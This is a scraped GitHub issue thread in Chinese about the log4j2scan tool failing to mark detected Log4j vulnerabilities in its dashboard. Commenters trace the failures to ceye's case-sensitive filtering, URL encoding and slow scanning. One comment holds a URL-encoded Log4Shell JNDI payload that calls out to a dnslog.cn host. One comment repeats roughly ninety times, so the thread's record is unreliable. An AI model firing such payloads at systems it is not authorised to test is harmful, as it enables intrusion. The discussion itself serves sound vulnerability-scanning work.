感觉哪儿有问题啊，dashboard跟target那里都不变红 about log4j2scan HOT 97 CLOSED

ceye 大小写敏感 Response resp = client.newCall(HttpUtils.GetDefaultRequest(platformUrl + "v1/records?token=" + token + "&type=dns&filter=" + domain.substring(0, domain. 这里全部小写 所以返回data都是[]

from log4j2scan.

同感

from log4j2scan.

同感

请提供测试环境

from log4j2scan.

确实扫出来没报，用volfocus的靶场试了下

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

$%7bjndi%3aldap%3a//1639370059934oyKHs.1yu1tg.dnslog.cn/ry%7d

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

0.6版本还没这个问题，0.7只能显示一个存在漏洞的ip资产

from log4j2scan.

确实扫出来没报，用volfocus的靶场试了下

确认使用方法是否正确

from log4j2scan.

dnslogcn跟自己编译的ceye测试都能有请求，但是dashboard这里不提示有漏洞。

请提供靶机环境，或确认是否是否为延迟造成的影响

from log4j2scan.

ceye 大小写敏感 Response resp = client.newCall(HttpUtils.GetDefaultRequest(platformUrl + "v1/records?token=" + token + "&type=dns&filter=" + domain.substring(0, domain. 这里全部小写 所以返回data都是[]

问题已修正

from log4j2scan.

对所有参数url编码了，导致vulfocus靶场扫描不到漏洞。
Edit:编码确实也能触发漏洞

问题在于扫描速度太慢，没有写多线程，我这里一个请求fuzz到靶机超时也没有扫完，而结果显示是在所有的fuzz完成后的finalCheck里面，导致感觉扫不出来

from log4j2scan.

对所有参数url编码了，导致vulfocus靶场扫描不到漏洞。

可以扫到，可以看下上面的图片

from log4j2scan.